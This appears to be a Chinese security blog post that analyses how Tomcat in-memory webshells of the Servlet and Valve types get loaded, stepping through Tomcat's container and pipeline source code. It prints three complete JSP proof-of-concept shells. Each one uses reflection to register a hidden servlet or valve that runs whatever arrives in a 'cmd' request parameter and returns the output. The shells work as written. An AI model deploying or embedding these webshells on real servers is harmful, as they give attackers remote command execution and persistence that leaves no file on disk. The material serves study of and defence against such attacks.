<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    // my servlet
    HttpServlet myServlet = new HttpServlet() {
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                PrintWriter pw = servletResponse.getWriter();
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedReader br = new BufferedReader(new InputStreamReader(is));
                String line = null;
                while((line = br.readLine()) != null) {
                    pw.write(line);
                }
                br.close();
                is.close();
                pw.write("\n");
            }
        }
    };

    // get StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);

    // create StandardWrapper
    Wrapper wrapper = context.createWrapper();
    wrapper.setName("myServlet");
    wrapper.setServletClass("myServlet");
    wrapper.setServlet(myServlet);

    // add to StandardContext
    context.addChild(wrapper);
    context.addServletMappingDecoded("/myServlet", "myServlet");
%>

<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

按照分析思路编写之后有两个问题:首先与其他大哥们的PoC有出入,我没有设置属性loadOnStarUp;然后就是我按照分析流程只是将wrapper加到context中,那么它是怎么加载的呢

进入StandardContext#addChild分析一下,这边首先判断是否为jspServlet,如果是就在chirldren中去匹配,如果有就将它移出context,然后调用ContainerBase#addChild

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public void addChild(Container child) {

    // Global JspServlet
    Wrapper oldJspServlet = null;

    if (!(child instanceof Wrapper)) {
        throw new IllegalArgumentException(sm.getString("standardContext.notWrapper"));
    }

    boolean isJspServlet = "jsp".equals(child.getName());

    // Allow webapp to override JspServlet inherited from global web.xml.
    if (isJspServlet) {
        oldJspServlet = (Wrapper) findChild("jsp");
        if (oldJspServlet != null) {
            removeChild(oldJspServlet);
        }
    }

    super.addChild(child);

    if (isJspServlet && oldJspServlet != null) {
        /*
         * The webapp-specific JspServlet inherits all the mappings specified in the global web.xml, and may add
         * additional ones.
         */
        String[] jspMappings = oldJspServlet.findMappings();
        for (int i = 0; jspMappings != null && i < jspMappings.length; i++) {
            addServletMappingDecoded(jspMappings[i], child.getName());
        }
    }
}

跟进看一下,检查了一下是否为安全模式,直接看else,重点看一下ContainerBase#addChildInternal,先看同步中的内容,判断children中是否存在,不存在的话就将传入的wrapper的parent设置为当前对象,也就是context,然后将传入children,接着往下,执行fireContainearEvent,这个方法看了一下,通知线程child正在执行addChild操作,然后就对wrapper执行了start()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public void addChild(Container child) {
    if (Globals.IS_SECURITY_ENABLED) {
        PrivilegedAction<Void> dp = new PrivilegedAddChild(child);
        AccessController.doPrivileged(dp);
    } else {
        addChildInternal(child);
    }
}

private void addChildInternal(Container child) {

    if (log.isDebugEnabled()) {
        log.debug("Add child " + child + " " + this);
    }

    synchronized (children) {
        if (children.get(child.getName()) != null) {
            throw new IllegalArgumentException(sm.getString("containerBase.child.notUnique", child.getName()));
        }
        child.setParent(this); // May throw IAE
        children.put(child.getName(), child);
    }

    fireContainerEvent(ADD_CHILD_EVENT, child);

    // Start child
    // Don't do this inside sync block - start can be a slow process and
    // locking the children object can cause problems elsewhere
    try {
        if ((getState().isAvailable() || LifecycleState.STARTING_PREP.equals(getState())) && startChildren) {
            child.start();
        }
    } catch (LifecycleException e) {
        throw new IllegalStateException(sm.getString("containerBase.child.start"), e);
    }
}

跟进start看一下,start是接口Lifecycle的方法,定位到实现LifecycleBase#start,首先检查当前类的状态,如果已经start则跳出,然后执行init()执行初始化,其中执行了initInternal

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public final synchronized void start() throws LifecycleException {

    if (LifecycleState.STARTING_PREP.equals(state) || LifecycleState.STARTING.equals(state) ||
            LifecycleState.STARTED.equals(state)) {

        if (log.isDebugEnabled()) {
            Exception e = new LifecycleException();
            log.debug(sm.getString("lifecycleBase.alreadyStarted", toString()), e);
        } else if (log.isInfoEnabled()) {
            log.info(sm.getString("lifecycleBase.alreadyStarted", toString()));
        }

        return;
    }

    if (state.equals(LifecycleState.NEW)) {
        init();
    } else if (state.equals(LifecycleState.FAILED)) {
        stop();
    } else if (!state.equals(LifecycleState.INITIALIZED) &&
            !state.equals(LifecycleState.STOPPED)) {
        invalidTransition(BEFORE_START_EVENT);
    }

    try {
        setStateInternal(LifecycleState.STARTING_PREP, null, false);
        startInternal();
        if (state.equals(LifecycleState.FAILED)) {
            // This is a 'controlled' failure. The component put itself into the
            // FAILED state so call stop() to complete the clean-up.
            stop();
        } else if (!state.equals(LifecycleState.STARTING)) {
            // Shouldn't be necessary but acts as a check that sub-classes are
            // doing what they are supposed to.
            invalidTransition(AFTER_START_EVENT);
        } else {
            setStateInternal(LifecycleState.STARTED, null, false);
        }
    } catch (Throwable t) {
        // This is an 'uncontrolled' failure so put the component into the
        // FAILED state and throw an exception.
        handleSubClassException(t, "lifecycleBase.startFail", toString());
    }
}

跟进LifecycleBase#initInternal()发现是个抽象方法,执行写的内存马下个断点看一下,流程走了一圈,先进入RealmBase#initInternal,然后进入LifecycleMBeanBase#initInternal,就是对oname进行赋值

往下走,进入startInternal,跟进之后进入StandardWrapper#startInternal,继续跟进ContainerBase#startInternal,偏底层一些,实现了将wrapper加载进内存

然后就是loadOnStartup这个点,如果loadOnStartup != -1则会在初始化StandardContext时进行加载,加入这个是令该servlet在加载时直接加载进内存而不用访问时懒加载,这种触发测试不会设计

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.StandardWrapper" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
    // my servlet
    HttpServlet myServlet = new HttpServlet() {
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            if (cmd != null) {
                PrintWriter pw = servletResponse.getWriter();
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedReader br = new BufferedReader(new InputStreamReader(is));
                String line = null;
                while((line = br.readLine()) != null) {
                    pw.write(line);
                }
                br.close();
                is.close();
                pw.write("\n");
            }
        }
    };

    // get StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);

    // create StandardWrapper
    Wrapper wrapper = context.createWrapper();
    wrapper.setName("myServlet");
    wrapper.setServletClass("myServlet");
    wrapper.setServlet(myServlet);
		wrapper.setLoadOnStartup(1);

    // add to StandardContext
    context.addChild(wrapper);
    context.addServletMappingDecoded("/myServlet", "myServlet");
%>

<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

Valve

Valve加载原理

valve涉及到Tomcat的管道机制,Tomcat定义了两个接口用于链式处理请求,也就是Pipeline和Valve,一个Pipeline包含多个Valve,处理流程图如下,其中Pipline中的一个个小方块就是Valve,简单理解管道机制就是每个容器中处理请求的具体

Valve

先看一下Valve,每个容器都有基础的Valve实现

image-20240312111022458

接口Valve只有几个基础的方法,根据名字就很好理解,其中invoke在前面的调试中见到过,接受request和response两个参数,每个Valve的具体实现就是调用其中的invoke方法,所以自定义Valve需要重写invoke方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public interface Valve {
  
    Valve getNext();

    void setNext(Valve valve);

    void backgroundProcess();

    void invoke(Request request, Response response)
        throws IOException, ServletException;

    boolean isAsyncSupported();
}

看一下Pipeline,Pipeline接口只有StandardPipeline一个实现,其中实现了一些针对自身以及Valve的操作

image-20240312111838066

所以如果可以动态添加自定义的Valve马,即可在处理请求流程中被调用,StandardPipeline中包含可以添加Valve的方法,基本的思路有了:获取到StandardPipeline,构造恶意Valve并重写invoke方法,向Pipeline中中添加Valve

先看一下调用链

之前分析Filter时分析过StandardWrapperValve,下断点看一下调用链,的确是按照上图顺序进行调用

image-20240312115917738

进入StandardEngineValve看一下,拿到request的Host然后做简单检查之后调用host.getPipeline().getFirst().invoke(request, response);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
public void invoke(Request request, Response response) throws IOException, ServletException {

    // Select the Host to be used for this Request
    Host host = request.getHost();
    if (host == null) {
        // HTTP 0.9 or HTTP 1.0 request without a host when no default host
        // is defined.
        // Don't overwrite an existing error
        if (!response.isError()) {
            response.sendError(404);
        }
        return;
    }
    if (request.isAsyncSupported()) {
        request.setAsyncSupported(host.getPipeline().isAsyncSupported());
    }

    // Ask this Host to process this request
    host.getPipeline().getFirst().invoke(request, response);
}

再往前看,进入CoyoteAdaper#service,先看上面部分,首先获取request和response,没有就创建,然后看try中内容,postRarseRequest方法简单看了一下,用于在处理完请求头后执行的一些必要操作,如果成功则执行下面的connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);,调用container的Pipeline,这边就是connector到container的传递,那么如何向其中添加Valve

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {

    Request request = (Request) req.getNote(ADAPTER_NOTES);
    Response response = (Response) res.getNote(ADAPTER_NOTES);

    if (request == null) {
        // Create objects
        request = connector.createRequest();
        request.setCoyoteRequest(req);
        response = connector.createResponse();
        response.setCoyoteResponse(res);

        // Link objects
        request.setResponse(response);
        response.setRequest(request);

        // Set as notes
        req.setNote(ADAPTER_NOTES, request);
        res.setNote(ADAPTER_NOTES, response);

        // Set query string encoding
        req.getParameters().setQueryStringCharset(connector.getURICharset());
    }

    if (connector.getXpoweredBy()) {
        response.addHeader("X-Powered-By", POWERED_BY);
    }

    boolean async = false;
    boolean postParseSuccess = false;

    req.setRequestThread();

    try {
        // Parse and set Catalina and configuration specific
        // request parameters
        postParseSuccess = postParseRequest(req, request, res, response);
        if (postParseSuccess) {
            // check valves if we support async
            request.setAsyncSupported(connector.getService().getContainer().getPipeline().isAsyncSupported());
            // Calling the container
            connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);
        }
  ...

看一下getContainer(),返回engine,engine就是StandardEngine容器

1
2
3
4
@Override
public Engine getContainer() {
    return engine;
}
image-20240312144334042

再往下看getPipeline(),定位到ContainerBase#getPipeline方法,同时找到了向其中添加valve的公共方法

1
2
3
4
5
6
7
8
@Override
public Pipeline getPipeline() {
    return this.pipeline;
}

public synchronized void addValve(Valve valve) {
    pipeline.addValve(valve);
}

因此思路就有了,之前的分析我们都知道四大容器都继承自这个类,所以可以直接获取StandardContext做文章

步骤:构建valve,获取StandardContext,获取StandardPipeline,添加Valve

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<%@ page import="org.apache.catalina.Valve" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardPipeline" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ValveBase myValve = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                BufferedReader br = new BufferedReader(new InputStreamReader(is));
                PrintWriter pw = response.getWriter();
                String line = null;
                while((line = br.readLine()) != null) {
                    pw.write(line);
                }
                is.close();
                br.close();
                pw.write("\n");
            }
        }
    };

    // get StandardContext
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request req = (Request) requestField.get(request);
    StandardContext context = (StandardContext) req.getContext();

    // get Pipeline
    StandardPipeline pipeline = (StandardPipeline) context.getPipeline();

    // add to StandardPipeline
    pipeline.addValve(myValve);

%>

<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
</html>

参考

https://goodapple.top/archives/1355

https://goodapple.top/archives/1359

https://exp10it.io/2022/11/tomcat-listener-型内存马分析

https://exp10it.io/2022/11/tomcat-filter-型内存马分析

0%